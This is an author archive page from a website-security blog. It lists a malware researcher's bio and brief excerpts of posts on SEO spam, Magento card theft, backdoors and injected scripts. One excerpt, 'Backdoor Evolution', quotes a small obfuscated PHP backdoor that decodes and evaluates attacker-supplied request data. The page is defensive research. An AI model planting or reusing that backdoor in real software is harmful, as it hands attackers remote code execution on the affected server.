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Denis Sinegubko

194 posts
Denis Sinegubko is Sucuri’s Senior Malware Researcher who joined the company in 2013. Denis' main responsibilities include researching emerging threats and creating signatures for SiteCheck. The founder of UnmaskParasites, his professional experience covers over 20 years of programming and information security. When Denis isn’t analyzing malware, you might not find him online at all. Connect with him on Twitter.
  • Website Malware Infections
  • Website Security

Hacked Websites Redirect to Porn from PDF / DOC Links

  • Denis Sinegubko
  • March 29, 2016
We write a lot about various blackhat SEO hacks on this blog and most of you are already familiar with such things as doorways, cloaking…
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Labs Note
  • Sucuri Labs

Backdoor Evolution: From Eval to Include

  • Denis Sinegubko
  • March 24, 2016
There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities: < script language=”php” > $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100). chr(101).chr(99).chr(111).chr(100).chr(101); e v a l($a($_REQUEST[sam]));</script>…
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Labs Note
  • Sucuri Labs

Fake Rating Rich Snippets

  • Denis Sinegubko
  • March 16, 2016
It’s quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search…
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Remote WordPress Brute Force Tools

  • Denis Sinegubko
  • March 10, 2016
Just a quick reminder: Don’t use common words and easy character combinations as passwords. Your compromised site can be used to hack third-party sites. A…
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  • Website Malware Infections
  • WordPress Security

When a WordPress Plugin Goes Bad

  • Denis Sinegubko
  • March 4, 2016
Update March 7: The WordPress Directory team investigated and mitigated this issue by disconnecting the wooranker account from all plugins, reverting malicious changes in the…
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  • Ecommerce Security
  • Magento Security

Fake SUPEE-5344 Patch Steals Payment Details

  • Denis Sinegubko
  • February 12, 2016
Update 2/17: This post is not about hackers tricking webmasters into installing fake Magento security patch. It’s about malware that pretends to be an applied…
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  • Ecommerce Security
  • Magento Security

Magento PCI Compliance Issues and Theft Over TLS

  • Denis Sinegubko
  • February 5, 2016
With about 30% of the market share, Magento is gradually becoming a “WordPress” of the ecommerce world. Like WordPress, it becomes a major target for…
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  • Website Security
  • WordPress Security

Massive Admedia/Adverting iFrame Infection

  • Denis Sinegubko
  • February 1, 2016
This past weekend we registered a spike in WordPress infections where hackers injected encrypted code at the end of all legitimate .js files. The distinguishing…
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Labs Note
  • Sucuri Labs

Encrypted Cc.php with credit card stealing code

  • Denis Sinegubko
  • January 25, 2016
The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer…
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Labs Note
  • Sucuri Labs

Obfuscating display:none cloaking

  • Denis Sinegubko
  • January 12, 2016
We’ve seen lots of JavaScript tricks that hide injected spam from human visitors while making it look “visible” for search engines. The most popular approach…
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  • Magento Security
  • Website Security
  • WordPress Security

Malicious Pastebin Replacement for jQuery

  • Denis Sinegubko
  • January 6, 2016
Website hackers are always changing tactics and borrowing ideas from each other. One of the challenges of website security is staying on top of those…
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